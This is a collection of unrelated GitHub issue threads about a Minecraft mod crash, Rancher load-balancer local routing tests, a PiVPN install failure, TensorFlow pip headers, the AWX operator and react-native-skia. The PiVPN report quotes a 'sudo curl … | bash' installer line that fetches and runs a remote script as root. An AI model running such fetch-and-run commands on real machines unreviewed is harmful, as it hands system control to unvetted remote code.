	at TRANSFORMER/minecraft@1.20.1/net.minecraft.util.thread.BlockableEventLoop.m_7245_(BlockableEventLoop.java:130)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.MinecraftServer.m_129961_(MinecraftServer.java:753)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.MinecraftServer.m_7245_(MinecraftServer.java:747)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.util.thread.BlockableEventLoop.m_18701_(BlockableEventLoop.java:139)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.MinecraftServer.m_130012_(MinecraftServer.java:733)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.MinecraftServer.m_130011_(MinecraftServer.java:665)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.MinecraftServer.m_206580_(MinecraftServer.java:251)
	at java.base/java.lang.Thread.run(Thread.java:833)

steps to reproduce (possibly anything with gregtech, possibly any mod):
- load All The Mods 9
- load single player world
- /dump recipes

I'll take a look. That's extremely weird, mods shouldn't be able to use a : in a ResourceLocation even if it's not for a standard ID.

I think I found the issue. I'll try to push a patch either tonight or tomorrow, it depends on school xD

Sorry, homework has been bad but I'll update it today.

Sorry, homework has been bad but I'll update it today.

Quick update: for some reason the mod is having issues compiling. I'm working on it.


conda-forge recipe needs some love

https://github.com/conda-forge/mapclassify-feedstock/pull/4

Some tests/checks are failing because the new release does not support python 2.7 anymore.

resolved https://github.com/conda-forge/mapclassify-feedstock


Redirected new adherent to donation page

Closes EM-10.

Based on https://github.com/EnMarche/en-marche.fr/pull/80, hence WIP.

Updated, I need to change/add some tests,  but it's ready for a round of reviews.
// cc @tgalopin @hhamon

This one should be ready now, ping @tgalopin @hhamon

@hhamon Rebased :tada:


Rancher load-balancer, route only to local containers

Rancher Version: 1.0.1
Docker Version: 1.10+
OS and where are the hosts located? (cloud, bare metal, etc): RancherOS on AWS
Setup Details: Single node with external (AWS RDS) database
Environment Type: Cattle
Enhancement Request:
I am using Rancher in an AWS setting which is scaled up/down using scheduled AWS auto-scaling groups. Load is distributed across instances using an ELB and within an instance to a web container using a Rancher load balancer. Instances are configured with cloud-config such that they automatically register with the Rancher server which deploys the correct containers.
The aim of the Rancher load balancer is to reduce user-facing HTTP errors associated with container deployments. The Rancher upgrade process provisions new containers along-side the running containers and can switches them out quickly. This process happens more quickly than the ELB polling interval and provides a method for fast roll-back.
The implication of the load balancer is that they distribute load across all containers with the stack which means that failure scenarios are more complex and latency is increased.

if a request is routed via the ELB instance to availability zone 1a the Rancher load balancer may route the request to another availability zone over the internal IPSec network adding additional latency
If an server instance degrades (server or container issue) in some way traffic may still be routed to the failed instance and re-routed using the load-balancer
Troubleshooting is made more difficult as the path that a request takes can no longer be predicted making it difficult to identify/analyse availability zone specific problems.

Would it be possible to add a load balancer configuration option such that requests are only routed to local containers hosted on the same server as the load balancer. Network traffic should be traverse the  local docker network as opposed to the IPSec network.

We need to test 4 different scenarios:

ingress points to all backend containers available for service
ingress points to local only
ingress points to prefer-local (local is available)
ingress points to prefer-local (local container is not available)

Ensure that you have more than one host added to rancher, label the hosts in rancher with names like
host=host1
host=host2
...

Steps to test:
Reference rc and service:
apiVersion: v1
kind: Service
metadata:
  name: nginx-service
  labels:
    k8s-app: nginx-service
spec:
  ports:
  - port: 80
    targetPort: 80
    protocol: TCP
    name: http
  selector:
    k8s-app: nginx-service
---
apiVersion: v1
kind: ReplicationController
metadata:
  name: nginx-service
spec:
  replicas: 1
  selector:
    k8s-app: nginx-service
  template:
    metadata:
      labels:
        k8s-app: nginx-service
    spec:
      terminationGracePeriodSeconds: 60
      containers:
      - name: nginx-service
        image: nginx:latest
        ports:
        - containerPort: 80

Reference ingress:
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: test
  annotations:
    config: "defaults\n balance source\nglobal\nmaxconnrate 60"
    io.rancher.lb_service.target: "only-local"
    io.rancher.scheduler.affinity.host_label: "host=host1"
spec:
  backend:
    serviceName: nginx-service
    servicePort: 80

Testing scenario 1:
From the reference service and rc shown above, set the rc's replicas to 3 (assuming you have 3 hosts), and then create it.
From the reference ingress, remove the two rancher labels ( io.rancher.lb_service.target: "only-local",
io.rancher.scheduler.affinity.host_label: "host=host1") and then create it.
Once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there are as many entries of the server parameter as there are replicas.
For eg. if the replicas config was set to 2, then you should see 2 entries starting with the server identifier
mode http
server cf286eb55658612617e38d857cdd5741d65dca1b <IP_ADDRESS>:80
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

Testing scenario 2:
Before you start, delete the rc, service, and ingress from scenario 1.
From the reference service and rc shown above, set the rc's replicas to 3 (assuming you have 3 hosts), and then create it.
Note down the hosts on which the pod for the above service is launched. Let's say it was launched on hosts with labels host=host1, host=host2 and host=host3.
From the reference ingress, set the host label to one of the above noted down host. for eg.
set     io.rancher.scheduler.affinity.host_label: "host=host1"

and then create it.
Once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there is only one entry of the server parameter. Ensure that the ip address of the entry is the same as the ip address of the pod on the same host.
mode http
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

Testing scenario 3:
Leave the rc, and service from scenario 2, but delete the ingress.
Keep the Note of the hosts on which the pod for the above service is launched. Let's say it was launched on hosts with labels host=host1, host=host2 and host=host3.
From the reference ingress, set the host label to one of the above noted down host. for eg.
set     io.rancher.scheduler.affinity.host_label: "host=host1"

and set the lb_service target label to "prefer-local"
    io.rancher.lb_service.target: "prefer-local"

and then create it.
Once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there is only one entry of the server parameter. Ensure that the ip address of the entry is the same as the ip address of the pod on the same host.
mode http
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

Testing scenario 4:
Leave the rc, and service from scenario 3, but delete the ingress.
Keep the Note of the hosts on which the pod for the above service is launched. Let's say it was launched on hosts with labels host=host1, host=host2 and host=host3.
From the reference ingress, set the host label to a host that does not have the pod for the service. i.e. It should be none of the above noted down host. for eg.
set     io.rancher.scheduler.affinity.host_label: "host=host5"

and set the lb_service target label to "prefer-local"
    io.rancher.lb_service.target: "prefer-local"

and then create it.
Once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there are as many entries of the server parameter as there are replicas.
mode http
server cf286eb55658612617e38d857cdd5741d65dca1b <IP_ADDRESS>:80
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

I tested all the scenarios with Rancher version 1.4.0-rc2 and kubernetes rancher/k8s:v1.5.2-rancher1-2
All the scenarios worked and verified.

We should test for LB created with Cattle as well.

To test the 4 scenarios on Cattle as well, I used the following docker-compose.yml and rancher-compose.yml files:
docker-compose.yml
version: '2'
services:
  nginx:
    image: nginx
  lb:
    image: rancher/lb-service-haproxy:v0.5.5
    labels:
      config: "defaults\n balance source\nglobal\nmaxconnrate 60"
      io.rancher.lb_service.target: "only-local"
      io.rancher.scheduler.affinity:host_label: "host=host1"
    links:
    - nginx:nginx
    ports:
    - 80:80

rancher-compose.yml
version: '2'
services:
  nginx:
    scale: 3
  lb:
   scale: 1
   lb_config:
     port_rules:
     - source_port: 80
       target_port: 80
       service: nginx

Testing scenario 1:
From the reference rancher-compose.yml shown above, set the scale to 3 (assuming you have 3 hosts).
From the lb section in docker-compose.yml, remove the two rancher labels ( io.rancher.lb_service.target: "only-local",
io.rancher.scheduler.affinity.host_label: "host=host1") and then create the stack.
Once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there are as many entries of the server parameter as there are replicas.
For eg. if the replicas config was set to 2, then you should see 2 entries starting with the server identifier
mode http
server cf286eb55658612617e38d857cdd5741d65dca1b <IP_ADDRESS>:80
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

Testing scenario 2:
Before you start, delete the stack from scenario 1.
From the reference rancher-compose.yml shown above, set the scale to 3 (assuming you have 3 hosts).
Note down the hosts on which the nginx is launched. Let's say it was launched on hosts with labels host=host1, host=host2 and host=host3.
From the lb section in docker-compose.yml,, set the host label to one of the above noted down host. for eg.
io.rancher.scheduler.affinity.host_label: "host=host1"
and then create the stack.
Once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there is only one entry of the server parameter. Ensure that the ip address of the entry is the same as the ip address of the container on the same host.
mode http
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

Testing scenario 3:
Before you start delete the stack from scenario 2
Assuming you have 3 hosts, Add the following label to the nginx service in docker compose:
labels:
      io.rancher.scheduler.global: 'true'

This will ensure that nginx will run on each host.
From the lb section in docker-compose, set the host label to one of the hosts where nginx will be launched, Let's say it will be launched on hosts with labels host=host1, host=host2, host=host3 for eg.
set     io.rancher.scheduler.affinity.host_label: "host=host1"
and set the lb_service target label to "prefer-local"
io.rancher.lb_service.target: "prefer-local"
Create the stack, once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there is only one entry of the server parameter. Ensure that the ip address of the entry is the same as the ip address of the container on the same host.
mode http
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

Testing scenario 4:
Before you start delete the stack from scenario 3.
Keep the Note of the hosts on which the nginx container is launched. Let's say it was launched on hosts with labels host=host1, host=host2 and host=host3.
From the lb section in docker-compose, set the host label to a host that does not have the nginx container. i.e. It should be none of the above noted down host. for eg.
set     io.rancher.scheduler.affinity.host_label: "host=host5"
and set the lb_service target label to "prefer-local"
io.rancher.lb_service.target: "prefer-local"

and then create it.
Once it is created, login into the lb container that is created and execute this command
cat /etc/haproxy/haproxy.cfg
ensure that at the end of the file, there are as many entries of the server parameter as there are replicas.
mode http
server cf286eb55658612617e38d857cdd5741d65dca1b <IP_ADDRESS>:80
server 2933de06d51882d3e44a82fafc349c62a63b4a16 <IP_ADDRESS>:80

All scenarios tested and verified.


Show what needs to be imported to use the SDK

Thanks @spullara! want to add this to the docs as well (under /docs)?


[BUG] Installation on Ubuntu 20.10 fails

In raising this issue, I confirm the following:

[x] I have read and understood the contributors guide.
[x] The issue I am reporting can be replicated.
[x] The issue I am reporting can be is directly related to the pivpn installer script.
[x] The issue I am reporting isn't a duplicate (see FAQs, closed issues, and open issues).

Describe the bug
Run the script on Ubuntu 20.10, it will fail and stop. Note on the exact same machine, the script runs successfully on Ubuntu 20.04!
The system is an Intel Core i3-9100.
$ sudo curl -L https://install.pivpn.io | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   162  100   162    0     0   2417      0 --:--:-- --:--:-- --:--:--  2417
100 83088  100 83088    0     0   587k      0 --:--:-- --:--:-- --:--:--  587k
:::
::: sudo will be used for the install.
::: Did not detect perfectly supported OS but,
::: Continuing installation at user's own risk...
::: Hostname length OK
::: Verifying free disk space...
:::
::: Checking apt-get for upgraded packages.... done!
:::
::: Your system is up to date! Continuing with PiVPN installation...
:::    Checking for git... already installed!
:::    Checking for tar... already installed!
:::    Checking for wget... already installed!
:::    Checking for curl... already installed!
:::    Checking for grep... already installed!
:::    Checking for dnsutils... not installed!
:::    Checking for whiptail... already installed!
:::    Checking for net-tools... not installed!
:::    Checking for bsdmainutils... not installed!
:::    Checking for iptables-persistent... not installed!
:::    Failed to install dnsutils!
:::    Failed to install net-tools!
:::    Failed to install bsdmainutils!
:::    Failed to install iptables-persistent!
$

To Reproduce
Steps to reproduce the behavior:

On a clean Ubuntu 20.10 system,
Run sudo curl -L https://install.pivpn.io | bash
Continue when you get the warning about unsupported OS
See output above. Nothing happens after.

Expected behavior
Installation asks more questions and finishes successfully.
Desktop (please complete the following information):

VPN Protocol : not selected yet
OS: Ubuntu Budgie
Version: 20.10

I know how to fix this; just manually install all the dependancies. It works with Ubuntu MATE 20.10

Its down as issue #1204
The minimum required to fix is: sudo apt-get update, before the install , then it will find the iptables-persistent.

duplicate: https://github.com/pivpn/pivpn/issues/1204
Closing


Formatting of conditional types

TypeScript Version:  2.7.0-dev.20180206
Expected behavior:
type Diff<T, U> = T extends U ? never : T;

Actual behavior:
type Diff<T, U> = T extends U?never: T;

Related Issues:

@lankaapura wanna pick up this one as well?

@mhegazy sure 👍

Created PR #21762, let me know if there any changes required.


Metrics request leads to an issue

Describe the bug
Hi,
I have started the unleash-edge in offline mode with the following command:
docker run -v LOCAL_PATH:/edge/data -p 3063:3063 -e BOOTSTRAP_FILE=/edge/data/development.json -e RELOAD_INTERVAL=5 -e TOKENS=my-secret-123,other-secret-456 unleashorg/unleash-edge:v8.0.1 offline
Toggles get loaded from json file. But at any point in time, the client (java  sdk) sends a POST request to edge to update metrics. The offline mode do not have metrics at all, which is fine.
But in my Spring Boot application as well in the log of the unleash-edge is an error visible:
docker log from unleash-edge:

Log from Spring boot app:

The client doesn't know that the call is send against edge in offline but, but why the edge throws this error? Wouldn't it be possible to just ignore metrics call from sdk?
Steps to reproduce the bug
No response
Expected behavior
No exception for metrics call from SDK
Logs, error output, etc.
No response
Screenshots
No response
Additional context
No response
Unleash version
5.1.8
Subscription type
Open source
Hosting type
Self-hosted
SDK information (language and version)
unleash-client-java:7.1.0

Hi @DAGRSAG - Thanks for the report. Particularly the stack trace from Edge. It caused me to realise what we've done here. All tokens that can be used in Edge mode has an environment, however, in offline mode this is not a guarantee; so I'll update the code to not just assume the environment is set. I'll make a patch on Monday. I'm about to head home for the weekend.

Hi @chriswk. Wow thanks for the fast answers and also for taking care.
Please allow me a question.
In the documentation, I have seen the following:

When using offline mode you must specify one or more tokens at startup. These tokens will let your SDKs access Edge. Tokens following the Unleash API format [project]:[environment]. allow Edge to recognize the project and environment specified in the token, returning only the relevant features to the calling SDK

But to be honest, I was not successful to use one of the tokens with project and environment. That is the reason, why I just used the token without any further information.
How can I use the token with project (I assume the value from the field within the json file) and the environment? Here is an example from my current json file
{
    "strategies": [],
    "impressionData": false,
    "enabled": false,
    "name": "itk",
    "description": "",
    "project": "default",
    "stale": false,
    "type": "release",
    "variants": []
}

Would be nice, if you can give me a hint here
Thanks in advance & best regards
Daniel

Hi again Daniel.
Good point, we should update the documentation for offline mode. I think you're right, the default features dump does not include environment information, since the features file is different for each environment.
I'll add another issue (or open it up for you to create a new issue with a request for better documentation for offline) to improve/update the documentation for the offline mode (it has not received much love, since most of our users are using the edge mode.
So, for the next week, we'll make sure that we can handle receiving data without environment. Also, maybe extend the offline mode to configure multiple environments (not currently possible).

I like to complete the triple then and create my third issue
Ok I assume that already, because I don't find so munch in internet, which is why I have created the issues today. But especially in the dev mode I like the offline mode a lot, because you can quickly change the value without impacting others


Add screenshots of example applications within their README.

Add a screenshot of the application within the README to show off what's been achieved, rather than a interested individual needing to pull and build the application just to view the UI.

This is definitely a great point to offer some datapoints:

I cloned the repo.
And then when I tried to build the project it took almost 10 minutes to download the dependencies and IntelliJ is still indexing dependencies all to just see the example:

And now is asking me for the Android SDK, another 10 or more minutes.

Please check the following ticket on YouTrack for follow-ups to this issue. GitHub issues will be closed in the coming weeks.


moved construct_discrete_edge_matrix to common

Because this function may be used in other preprocessor.

Added no-compat because the method's namespace will be changed.

Codecov Report

Merging #260 into master will increase coverage by 0.4%.
The diff coverage is 90.69%.

@@            Coverage Diff            @@
##           master     #260     +/-   ##
=========================================
+ Coverage   82.22%   82.63%   +0.4%
=========================================
  Files         112      112
  Lines        5491     5504     +13
=========================================
+ Hits         4515     4548     +33
+ Misses        976      956     -20


Minor typos in setup.rst

Small typo amendments for setup.rst

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.1 out of 2 committers have signed the CLA.:white_check_mark: jolyonbrown:x: Jolyon BrownJolyon Brown seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

Merged, thank you!  I'll push this in a bit.


Enable test

Fix https://github.com/Azure/azure-webjobs-sdk-script/issues/1787

Out of curiosity, what was the appveyor issue?


Failure adding assembly to the cache

When performing a Build Server Deploy to MSI, it succeeds.
But when performing a quick deploy or deploy of my BizTalk 2016 using Deployment Framework toolkit to my local dev environment, the following error occurred in the Output window.
Failure adding the assembly to the cache:   This assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded.
C:\Program Files (x86)\MSBuild\DeploymentFrameworkForBizTalk\5.0\BizTalkDeploymentFramework.targets(1342,5): error MSB3073: The command ""C:\Program Files (x86)\Deployment Framework for BizTalk 5.6\Framework\DeployTools\gacutil.exe" /f /i "..\Tango.Schemas.DELVRY\bin\Debug\Tango.Schemas.DELVRY.dll"" exited with code 1. [G:\BTS Source\Tango\Tango\Tango.Deployment\Deployment.btdfproj]
Done Building Project "G:\BTS Source\Tango\Tango\Tango.Deployment\Deployment.btdfproj" (UpdateOrchestration target(s)) -- FAILED.
Build FAILED.
This work item was migrated from CodePlex
CodePlex work item ID: '11186'
Vote count: '1'

[benjsoft@9/14/2017]
I have fixed the issue by installing the latest DeploymentFramework for BizTalk v5.7 (before it was 5.6) since I'm using VS 2015 and BizTalk Server 2016.

[UnknownUser@9/15/2017]

Issue closed by tfabraham with comment
Reinstalled fixed issue
Reason closed
As Designed


Fair learn link in readme may be broken

Use https://fairlearn.github.io/master/index.html instead?

Thanks for the notice! Did a quick fix in https://github.com/pandas-dev/pydata-sphinx-theme/commit/969718267981738e503f874b1e0554c5446cf559

Such a quick fix, very impressive! Thank you bringing in the pandas/pydata theme to us.


add worker logic

add device in warm up log
fix warmup device
fix slurm cache
small fix in load clip
update readme

all tests passing, let me know if you are satisfied with the README changes

Great, thanks


Header tensorflow/stream_executor/stream.h not included with tf-nightly pip package

Click to expand!
Issue Type
Build/Install
Source
binary
Tensorflow Version
2.11.0.dev20220828
Custom Code
Yes
OS Platform and Distribution
No response
Mobile device
No response
Python version
3.8
Bazel version
No response
GCC/Compiler version
No response
CUDA/cuDNN version
No response
GPU model and memory
No response
Current Behaviour?
Horovod does not build with tf-nightly anymore, see https://github.com/horovod/horovod/runs/8047013531?check_suite_focus=true#step:10:9615
The code includes tensorflow/stream_executor/stream.h at https://github.com/horovod/horovod/blob/master/horovod/tensorflow/mpi_ops.cc#L65. Header files in tensorflow/core are included with the pip package. That stream.h is part of Tensorflow sources, but is not included in the nightly pip package.
This is similar to #57083, but a different file this time.
Standalone code to reproduce the issue
#include "tensorflow/stream_executor/stream.h"

Relevant log output
/tmp/pip-req-build-5xc4jhus/horovod/tensorflow/mpi_ops.cc:65:10: fatal error: tensorflow/stream_executor/stream.h: No such file or directory
   65 | #include "tensorflow/stream_executor/stream.h"
      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
compilation terminated.

Looks like this has been caused by #57083.
Is tensorflow/stream_executor/stream.h meant to be replaced by tensorflow/compiler/xla/stream_executor/stream.h?

@joker-eph

I'm not sure how #57083 could cause this: it didn't touch stream executor and TSL does not relate either.
b71fca418dd6b485ed54d4190cac51996c5590c3 moved stream executor code to XLA, but I'm surprised by your error since we left a forwarding header behind: https://github.com/tensorflow/tensorflow/blob/master/tensorflow/stream_executor/stream.h
@rdzhabarov would know maybe?

Sorry, I pasted the wrong link. It was caused by 2be83013. It removes list(find_files('*.h', 'tensorflow/stream_executor')) + from tensorflow/tools/pip_package/setup.py:
https://github.com/tensorflow/tensorflow/commit/2be830137aca09da21d599e04ba7d7ad0059ed05#diff-f526feeafa1000c4773410bdc5417c4022cb2c7b686ae658b629beb541ae9112

I think I found the issue, let's check if it actually works this time!

The stream.h is still not in 20220903 (tf_nightly_gpu-2.11.0.dev20220903-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl). Was it cut before your fix went into git?

It looks like your change in tensorflow/BUILD (702e7a4f)
"//tensorflow/stream_executor:stream_executor_headers",

should read
"//tensorflow/stream_executor:stream",

See https://github.com/tensorflow/tensorflow/commit/2be830137aca09da21d599e04ba7d7ad0059ed05#diff-679555fdef7c81321743c804a27240b29642a6a04170df06427f14ddf3cdea4eL681

Still not right apparently...

At this point I'll need to build the pip package myself and iterate to figure it out, I'll try to get to it later this week. If you have other ideas of diff to try, please suggest :)

Nope, that would be my best approach to iterate as well. Can you re-open this issue please for the time being?
Thanks for looking into this.

Did you try adding tensorflow/c/BUILD:681 back in?
"//tensorflow/stream_executor:stream",

Or is this equivalent to tensorflow/BUILD:1351?
"//tensorflow/stream_executor:stream_executor_headers",

I didn't, but why would it affect the exported headers? Do you think there is a transitive_hdrs collection rule that would be impacted by this?

Actually they gave me an idea, let me try to add  "//tensorflow/stream_executor:stream_executor", here: https://github.com/tensorflow/tensorflow/blob/master/tensorflow/tools/pip_package/BUILD#L26

OK I figured it out, patch coming...

(Note that I don't think that these headers won't be kept around forever, we will likely clean this up and remove them in the future.)

What is the recommended approach to migrate away from those headers?

It's probably best to wait for the migration to complete, but they will ultimately look like #include "stream_executor/stream_executor.h" I think.

We are about to remove tensorflow/stream_executor completely.
Everything has been moved to the tensorflow/compiler/xla/stream_executor.
Could you include headers from the new location?

Could you include headers from the new location?

I don't think that is a good idea: this isn't the final location.

As of 20220910, this is still not fixed.

@joker-eph can we re-open this, please? Or shall simply use the new location for the time being until the final location is settled?

I will move to the current location and move again once this is moved to the final location.


AWX Operator and how it works.

Environment
k3s version v1.28.5+k3s1 (5b2d1271)

OS: Ubuntu 20.04
Kubernetes/K3s: k3s version v1.28.5+k3s1 (5b2d1271)
AWX Operator: 1.1.4

Description
I'm currently using awx operator 1.1.4 and awx 23.6.0. This failed when the operator attempted to upgrade to the latest version with the database major version update. Is it intended for the operator to be this old? I thought it would also upgrade itself. Perhaps I've misunderstood. I see there should be some correlation between operator version and awx version, is that correct? I had to scale down the operator instance to 0 so it wouldn't try to update again. Is it possible to prevent it from running automatic updates? And what's the best way for me to upgrade to the latest operator version today?
I know there are many questions at once, but I would be very grateful if someone could point me in the right direction.

@fanuelsen

Is it intended for the operator to be this old? I thought it would also upgrade itself. Perhaps I've misunderstood.

Unfortunately, there is no recommended or supported upgrade path and of course I didn't test all of combinations of versions that upgrade to and upgraded from, so it is difficult to know if upgrading by skipping multiple versions works as expected unless we try it. Upgrades fail for a great variety of reasons and must be resolved one at a time.
However, as a general tems, the fewer the differences in versions, the greater the probability of success. Therefore, it is better to upgrade gradually than to upgrade to the latest version all at once.

I see there should be some correlation between operator version and awx version, is that correct?

Yes, see this table: https://github.com/kurokobo/awx-on-k3s/blob/main/tips/version-mapping.md
It means that your setup (Operator 1.1.4 and AWX 23.6.0) is not officially tested combination.

I had to scale down the operator instance to 0 so it wouldn't try to update again. Is it possible to prevent it from running automatic updates? And what's the best way for me to upgrade to the latest operator version today?

There is auto_upgrade parameter: https://ansible.readthedocs.io/projects/awx-operator/en/latest/user-guide/advanced-configuration/auto-upgrade.html

Thanks for taking time to answer my questions @kurokobo! Sorry for the late reply. I actually found the auto_upgrade parameter in the docs, but i'm not sure where to put it, any hints?
Thanks again.

@fanuelsen
The most fields that described in the documentation are applicable for base/awx.yaml.
For example:
---
apiVersion: awx.ansible.com/v1beta1
kind: AWX
metadata:
  name: awx
spec:
  ...
  admin_user: admin
  admin_password_secret: awx-admin-password
  ...
  web_resource_requirements: {}
  task_resource_requirements: {}
  ee_resource_requirements: {}
  init_container_resource_requirements: {}
  postgres_init_container_resource_requirements: {}
  postgres_resource_requirements: {}
  redis_resource_requirements: {}
  rsyslog_resource_requirements: {}

  # Note that indentation must be aligned with other fields above
  auto_upgrade: false     ✅

I understand, thanks again :)

Glad that I can help you 😃
I'm closing this issue. Please feel free to open new one if you have futher questions. Thanks!


Setting own node_redis

I have problem with createClient because i use remote redis server.
This option can help.

Thanks, but please, can you write it in coffee script and then compile it?
Then you can try to run npm run build-and-test command.
Now I see that I made it little bit difficult back then... I'm requiring simq package which is not in devDependencies so you have to install it globally.. Sorry for that, big optimization awaits for me.


Build Skia with minSdk 26

With Android SDK 26, two new important features became available:

Hardware Buffers, which allow me to render Image frames onto the screen really efficiently (See https://github.com/mrousavy/react-native-vision-camera/pull/1690)
SurfaceTexture constructors without tex-IDs which allow you to create Surfaces on first-frame. (See https://github.com/Shopify/react-native-skia/pull/1788)

Both of those things are kinda needed, so this PR changes the minsdk to 26.
Note: It might still build on lower SDKs, but some features might not work or be a bit janky. We need to test.
Demo of it running in VisionCamera:
AHardwareBuffer* hardwareBuffer = AHardwareBuffer_fromHardwareBuffer(jni::Environment::current(), frameHardwareBuffer);
auto image = SkImages::DeferredFromAHardwareBuffer(hardwareBuffer,
                                                   kOpaque_SkAlphaType,
                                                   nullptr,
                                                   kTopLeft_GrSurfaceOrigin);

https://github.com/Shopify/react-native-skia/assets/15199031/9bc0eb00-7b3c-47bb-b4f4-497dcf2febb0

Awesome again. When reviewing this PR we need to make sure we run and test on Android versions less than 26 and ensure that all works.
creating Emulators with Lollipop and upwards, see here for reference).

@mrousavy I am not able to get this build to work (on any API versions). does it work on your side?

@mrousavy I found the issue, you need to revert the gitmodule update.

@mrousavy I am using NDK 25.2.9519653 to test this PR (it appears to be the latest version). This is correct right?

Hey! So I just tested this change in the Skia repo and you're right, the Android app itself won't build because it cannot link the newer NDK codebase against an older version (which is used for the app).
To get this to build, we need to set the minSdk to 26, aka every app that wants to use react-native-skia should set their minSdk in build.gradle to 26 or higher otherwise it won't even build.
Here's a Twitter poll I did on SDK versions: https://twitter.com/mrousavy/status/1690067166786117633
And here's the adoption rate:

Aka 7,1% of all phones worldwide won't be able to use react-native-skia.
For me in VisionCamera it doesn't make sense to take on those extra codepaths which are a huge pain before API 26 just to support 7,1% more phones (which are probably some drug dealer phones and won't even use VisionCamera) - but you decide what you wanna go with @chrfalch @wcandillon :)

The code for creating an SkImage from an hardware buffer is somewhat complex due to the backend abstraction. In the case of React Native Skia, we use OpenGL on Android. It seems to be possible to create an OpenGL texture from an hardware buffer. And we can create an SkImage from an OpenGL texture. Could this work?

Aka 7,1% of all phones worldwide won't be able to use react-native-skia.
That number seems to be inflated. We work with react-native in developing countries, some even in conflict zones and none of our users have younger than Android 8 phones.

Interesting. Maybe it's just drug dealers, lol

closing after offline discussion with @mrousavy

just a small note here to mention that minSDK=26 will be coming soon to React Native. There are no work around this anymore.


AMPI with -O*

Original author: Nikhil Jain
Original issue: https://charm.cs.illinois.edu/redmine/issues/202

Multiple people have reported that AMPI crashes at higher optimization levels. More specific instances to be added later.

Original date: 2013-08-28 19:07:14

Please consult with Nikhil to reproduce this bug, then investigate.

Original date: 2015-02-09 15:28:34

This problem is not easily reproducible. I built AMPI using the Intel compilers --with-production and then built AMPI programs with different levels of optimization. None failed.
This could have been an Intel compiler bug that has since been fixed (I used the Intel/14.0 compilers).

Original date: 2015-04-06 17:58:52

I tried reproducing the problem with Intel compiler versions 11, 14, and 15 but could never reproduce the issue.


Update nl.js

Please let me know if I did it right. Is this integrated already?

@bobmulder Thanks for the translations, unfortunately there is a merge conflict. If you can get this sorted I would be happy to merge this ASAP. Thanks!

I will when I got time ;)

@bobmulder Just checking in, what's your plan with this?

No plans at all. If you need dutch translation I could create a new PR to avoid the merge conflict...

If you see any problems with the current dutch translation, we welcome a PR :)


Rename avatarUrl to avatar_url for users call

GraphQL calls return avatarUrl. However to get user's data the server uses api/github/call, which returns avatar_url.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Coverage remained the same at 90.013% when pulling cb9588ea4f25370004af3a95777054e5ef3b5d00 on Serg046:master into 49fef1efd89c20fc4145bbe7ad33f54fcfddf0c6 on cla-assistant:master.

Thank you very much! I'll take a look on it soon.


IMU Comparation details?

Well, as what I said in #177 , while I highly doubt why MPU+QMC5883L is considered worse than MPU6500, I'm not sure how the ratings of the IMUs are set. May there be detailed comparation between all the IMUs? E.g. a table

I would have to double-check with the people involved, but I think the comparison table is put together based on survey results of them in use?

the results are based on the average score given by people in the community through a survey.


double click on curly brace to select up to matching brace

In Eclipse and several other editors, when I double click the mouse on a brace / bracket, it selects the entire content up to the matching bracket. In VSCode, nothing happens whatsoever.
This is a nice feature to have, that I quite miss here in VSCode, and apparently, there is also no plugin which provides that possibility.
This is a duplicate of #71376, which unfortunately has been closed within three hours without any useful comment whatsoever (the link to the stackoverflow question there doesn't apply, as it shows how to do this with a key binding, but the feature request is about double clicking with the mouse).
As I can not comment over there, nor vote for it, I created this new ticket, as I think this would be a good feature to have.
Here is the animation stolen from that issue, which shows the idea very well:

Same goes for: [ { " ' ( """ /*
everything that has a pair, in any language.


Client Timeout Bug

redis-server config
# Close the connection after a client is idle for N seconds (0 to disable)
timeout 10

Amp\run(function ()
{
    try
    {
        $client = new \Amp\Redis\Client("tcp://localhost:6379");
        yield $client->set("foo", "21");
        $res = yield $client->get("foo");

        print($res . "\n"); //21
    }
    catch (Throwable $e)
    {
        print($e->getMessage());
    }
});

Problem: If you run this code, the loop will be stopped without any error or exception after 10 sec,
Is there any method to catch this ? After some investigation I find where is the problem:
Amp\Redis\ConnectException: Connection went away (read) in amphp/redis/lib/Connection.php:224

This can be a problem for thous who ex: Create a Tcp Server and use 1 redis connection for multiple tcp clients, as I do.

Where's the bug? The connection is closed after 10 seconds of inactivity as you configured it. It will be automatically reopened on the next command.
If you want to keep the loop alive, you can just register a dummy watcher, that just does nothing.
Amp\run(function () {
    Amp\repeat(function () {}, 60000);
});

Sorry about few details, (i will build an example)
